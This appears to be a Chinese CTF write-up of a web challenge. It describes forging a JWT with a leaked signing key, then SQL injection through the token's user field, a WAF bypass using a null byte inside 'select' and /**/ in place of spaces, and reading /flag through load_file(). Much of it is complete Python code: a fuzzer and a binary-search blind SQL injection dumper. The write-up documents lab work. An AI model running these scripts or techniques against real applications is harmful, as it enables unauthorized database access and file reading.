现在比赛都是pwn的天下,可惜我们团队没有pwn选手,本次比赛就做了三道题,进不了线下赛。说说第二道web题吧,常见的登录和注册功能(出题人可能脑回路有异常),注册一个普通用户登录,页面会显示用户名猜测可能是二次注入,试了半天无果,尝试登录注入同样的结果,看来应该没有注入。想到注册个admin用户看看,发现存在admin用户,admin/admin随手登录返回了一个key,不明所以???扫了扫目录也没有发现什么有价值的信息,目前只有一个key,仔细看了看burp里面的数据包,咦?cookie里面的token值有些面熟,之前hackerone测试的时候遇见了好几次,但一时半会想不起是什么加密,正要搜的时候,队友说是jwt加密,在jwt.io网站解密
这里思路就比较明确了,前面返回的key应该是用于jwt的加密,修改jwt payload user为admin'使用key重新加密作为cookie token提交,返回500,很可能是注入,构造正确的测试语句response 200,确定是SQL注入,这里空格要使用/**/代替否则会被拦截,order by 确定有4列,使用联合查询发现被拦截,在测试绕过花费了大量时间):测试xxunionxxselectxx ,还是被拦截,确认是select 存在关键字的原因,当时注册了xxselect 发现没有被拦截,猜测waf可能会对单引号后面内容进行检测,绕了好久都没有绕过,这时候已经有两三个队伍做出来了,陷入僵局,然后尝试了二次解码注入、宽字符注入、unicode注入同样没有结果,目前想到的方法只能是waf会过滤一些关键字和函数,利用过滤的关键字绕过select的检测。把所有关键字和函数整理成字典进行fuzz,admin' order by[FUZZ] 1#fuzz完也没有结果,然后对小写字母 长度2和长度3的排列进行fuzz同样没有结果,对一些特殊字符手动fuzz也无果, 没辙了干脆全字符fuzz一下吧,结果chr(0)直接绕过,这里只有一个感觉就是fuzz还是老老实实从头全字符fuzz吧,不要想的偷奸耍滑,否则花费的时间可能更多。
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# author:flystart
# home:www.flystart.org
# time:2020/5/21
import jwt
import requests
import string
import itertools
import sys
print(string.ascii_lowercase)
def fuzz_chars():
ret = []
for i in itertools.product(string.ascii_lowercase, repeat=3):
d = ''.join(i)
ret.append(d)
return ret
def get_file_content(filename):
result = []
f = open(filename, "r")
for line in f.readlines():
result.append(line.strip())
f.close()
return result
def put_file_contents(filename,contents):
with open(filename,"a+") as fin:
fin.write(contents+"\n")
def send_data(payload):
sess = requests.session()
data = r"admin' and 1=(se{0}lect 1)#".format(payload)
data = data.replace(' ','/**/')
print(data)
encoded_jwt = jwt.encode({'user': data,'news':'key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'}, 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6', algorithm='HS256').decode('ascii')
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Cookie':'token={0}'.format(encoded_jwt)
}
proxies = {'http':'127.0.0.1:8080'}
sess.headers = headers
sess.proxies = proxies
url = 'http://d1ca134f8a4548fc9a9fd9e3cac6cf86b4d379b0fdb64cd4.cloudgame2.ichunqiu.com/index.php'
response =sess.put(url)
text = response.text
print(response.status_code)
put_file_contents('fuzzz.txt',data)
if response.status_code==200 and 'LgcGpnmM2X8i' in text:
put_file_contents('fuzzz.txt', "good\n")
print('good\n')
sys.exit(0)
print(response.content)
if __name__ == '__main__':
for i in range(0,256):
a =(chr(i))
send_data(a)
'''
__ = fuzz_chars()
#__ = get_file_content('funcs.txt')
for _ in __:
send_data(_)
'''
这里联合查询无法注入数据只能写脚本dump数据了,坑爹的是数据库中并没有发现flag,最后尝试读取/flag.txt 、/flag 读到flag 在文件/flag里面,要是知道flag在文件中还绕个屁的select
完整脚本:
#! /usr/bin/env python
# -*- coding:utf-8 -*-
# author:flystart
# home:www.flystart.org
import requests
from requests.adapters import HTTPAdapter
import jwt
import binascii
success_flag = "LgcGpnmM2X8i"
keys=list(r''' @ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}~!"#$%&'()*+,-./0123456789:;<=>?[\]^_`''')
url = "http://5a5b0a8899a8419ab434b5fd3836e0f37301cb8683a14f72.cloudgame2.ichunqiu.com/index.php"
bo = "and ord(substr((%query) from %index for 1))=%value"
b01 = "and 1=(if((ord(substr((%query) from %index for 1))>%value),1,0))"
query = "(select %s from t_n limit %d,1)"
len_query = "and length(%query)=%value"
len_query2 = "and 1=(if((length(%query)>%value),1,0))"
boundary = bo
query_tab="(select %s from t_n where table_schema={db}limit %d,1)",
query_col="(select %s from t_n where table_schema={db} and table_name={table} limit %d,1)"
req = requests.session()
proxies = {'http':'127.0.0.1:8080'}
req.proxies = proxies
req.mount('http://', HTTPAdapter(max_retries=3))
req.mount('https://', HTTPAdapter(max_retries=3))
def format_hex(str):
return "0x"+binascii.b2a_hex(str)
def read_file(file):
file ='load_file(\'{0}\')'.format(file)
table_name = 'information_schema.schemata'
col_name = ["{0}".format(file)]
text = get_values_by_double_blind(table_name,col_name,'0',query=query)
return text
def main():
#database = get_current_database()
#print(database) # db = cms
file = '/flag'
print(read_file(file))
db = "cms"
'''
table = get_tables("0x636d73")
table = 'users'
cols = get_cols(table)
print(cols)
'''
print('main')
def find_success(flag,text):
ret = False
if flag in text:
ret = True
return ret
def get_current_database():
table_name = 'information_schema.schemata'
col_name = ["database()"]
# user = get_values_by_blind(table_name, col_name, '0',query=query)
user = get_values_by_double_blind(table_name,col_name,'0',query=query)
return user
def get_tables(db):
table_name = 'information_schema.tables'
col_name = ["table_name"]
global query,query_tab
query = "select %s from t_n where table_schema=DB limit %d,1".replace('DB',db)
counts =2
tables = []
for i in range(int(counts)):
table = get_values_by_double_blind(table_name,col_name,str(i),query=query)
tables.append(table)
return tables
def get_cols(db,table):
table_name = 'information_schema.tables'
col_name = ["table_name"]
global query,query_tab
query_col = "(select %s from t_n where table_schema=DB and table_name=TABLE limit %d,1)"
query_col =query_col.replace("DB",db)
query_col = query_col.replace("TABLE",table)
query = query_col
counts =2
tables = []
for i in range(int(counts)):
table = get_values_by_double_blind(table_name,col_name,str(i),query=query)
tables.append(table)
return tables
def get_length(table_name,cols,i=0): # limit i
len_index = 1
global boundary
# boundary = len_query
boundary = len_query2
len_index = double_search(table_name, cols,i,"",left_number=0,right_number=10)
'''
while True:
try:
payload = get_payload(table_name,cols,i,"",str(len_index))
global url
con_url = url + ' ' + payload
res = req.get(con_url)
if success_flag in res.text:
break
len_index = len_index +1
except Exception,e:
print e.message
# boundary = bo enmu get value
'''
boundary = b01 # double_query get value
print('value len is:',len_index)
return len_index
def get_values_by_blind(table_name, col_name, in_limit='0', query =query):
len = get_length(table_name, col_name, in_limit)
cu_query = query
temp = ""
for i in range(1, len + 1):
for key in keys:
payload = get_payload(table_name, col_name, in_limit, str(i), str(ord(key)),query=cu_query)
global url
req.headers = payload
con_url = url
res = req.get(con_url)
if find_success(success_flag, res.text):
temp = temp + key
print(temp)
return temp
def get_payload(table_name,col_name,i="0",index="",value="",query =query): # (index,vaule) is used blind
cols = []
for col in col_name:
cols.append(col)
cat_str = cols[0]
payload = query.replace('t_n',table_name)
payload = payload.replace('%s', cat_str)
payload = payload.replace('%d', i)
payload = boundary.replace('%query', payload)
payload = payload.replace('%index', index)
payload = payload.replace('%value', value)
payload = payload.replace('select','sel{0}ect').format(chr(0))
data = r"admin' {0}#".format(payload)
data = data.replace(' ', '/**/')
print(data)
encoded_jwt = jwt.encode({'user': data, 'news': 'key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'},
'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6', algorithm='HS256').decode('ascii')
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Cookie': 'token={0}'.format(encoded_jwt)
}
return headers
def get_values_by_double_blind(table_name, col_name, in_limit='0', query =query):
len = int(get_length(table_name, col_name, in_limit))
cu_query = query
text = ""
for i in range(1, len + 1):
value = double_search(table_name, col_name, in_limit, str(i),query=cu_query,left_number=0,right_number=96)
text = text + chr(value)
print("In program: " + text)
return text
def double_search(table_name, col_name, in_limit='0', index="", query =query,left_number=0, right_number=0):
while True:
payload = get_payload(table_name, col_name, in_limit, index, value=str(right_number), query=query)
con_url = url
req.headers = payload
res = req.get(con_url)
if find_success(success_flag, res.text):
left_number = right_number
right_number = 2*right_number
else:
break
while left_number < right_number:
mid = int((left_number + right_number) / 2)
payload = get_payload(table_name,col_name,in_limit,index,value=str(mid),query =query)
req.headers = payload
con_url = url
res = req.get(con_url)
if find_success(success_flag, res.text):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
payload = get_payload(table_name, col_name, in_limit, index, value=str(mid), query=query)
req.headers = payload
con_url = url
res = req.get(con_url)
if find_success(success_flag, res.text):
print(mid)
mid += 1
print('found')
break
else:
break
return mid
if __name__ == '__main__':
main()